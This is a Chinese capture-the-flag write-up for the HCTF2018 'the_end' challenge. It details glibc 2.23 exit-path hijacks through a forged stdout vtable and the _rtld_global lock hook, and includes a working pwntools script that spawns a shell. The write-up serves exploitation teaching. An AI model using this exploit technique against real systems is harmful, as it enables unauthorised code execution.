HCTF2018_the_end

1.常规checksec,除了canary之外保护全开。IDA打开找漏洞,没什么漏洞,就是程序会泄露出sleep的地址,然后让我们在任意地方写入5个字节,并且给了libc文件,那么就可以算出libc基地址,版本为2.23。

printf(“here is a gift %p, good luck ;)\n”, &sleep);

2.程序最后调用exit(1337),两种方法:

(1)exit会无条件通过_IO_2_1_stdout_结构体调用vtable虚表中的_setbuf函数。

(2)exit会通过_IO_2_1_stdout_结构体调用vtable虚表中的_overflow函数,但需要满足以下条件:

1
2
3
4
#注释头

_IO_FILE_plus._mode <= 0
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base

所以我们伪造的_IO_FILE_plus结构体就需要满足上述条件

(3)exit会调用_rtld_global结构体中的_dl_rtld_lock_recursive函数,不用满足条件。

3.三种方法攻击思路:

(1)由于会调用_setbuf函数,vtable位于libc数据段上不可写部分,无法直接修改vtable对应的_IO_file_jumps中的函数指针。那么可以伪造_IO_2_1_stdout_中的vtable指针,利用2字节修改vtable指针的倒数两个字节,使其指向一个可读可写内存,形成一个fake_IO_file_jumps,然后在该内存对应_setbuf函数偏移处伪造one_gadget地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('./the_end')

vtable_offset = 0xd8
_setbuf_offset = 0x58
fake_vtable_offset = 0x3c5588
#这个需要自己调试找,并保证偏移_setbuf_offset处修改之后程序不会直接崩溃

sleep_addr = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_addr,16) - libc.symbols['sleep']

one_gadget = libc_base + 0xf02b0
_IO_2_1_stdout_vtable_addr = libc_base + libc.sym['_IO_2_1_stdout_'] + vtable_offset

fake_vtable = libc_base + fake_vtable_offset
fake_vtable_setbuf_addr = libc_base + fake_vtable_offset + _setbuf_offset

print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)

for i in range(2):
p.send(p64(_IO_2_1_stdout_vtable_addr+i))
p.send(p64(fake_vtable)[i])

for i in range(3):
p.send(p64(fake_vtable_setbuf_addr+i))
p.send(p64(one_gadget)[i])

p.sendline("exec /bin/sh 1>&0")

p.interactive()

(2)_IO_FILE_plus结构体位于libc数据段上可读可写内存处,可以直接修改,但是修改字节数只有5个,按照第一种方法:

1
2
3
4
#注释头

_IO_FILE_plus._mode <= 0 //该条件自动就会满足
_IO_FILE_plus._IO_write_ptr > _IO_FILE_plus._IO_write_base//该条件需要设置1个字节

再利用1个字节修改vtable的倒数第二个字节,伪造vtable指针,然后利用3个字节在该内存对应_setbuf函数偏移处伪造one_gadget地址。

(3)_rtld_global结构体位于libc数据段上可读可写内存处,可以直接修改。那么直接修改_dl_rtld_lock_recursive函数指针指向one_gadget就行了。

方法(2)和方法(3)参考:

https://blog.csdn.net/Mira_Hu/article/details/103736917

参考资料:

https://wiki.x10sec.org/pwn/linux/io_file/fake-vtable-exploit-zh/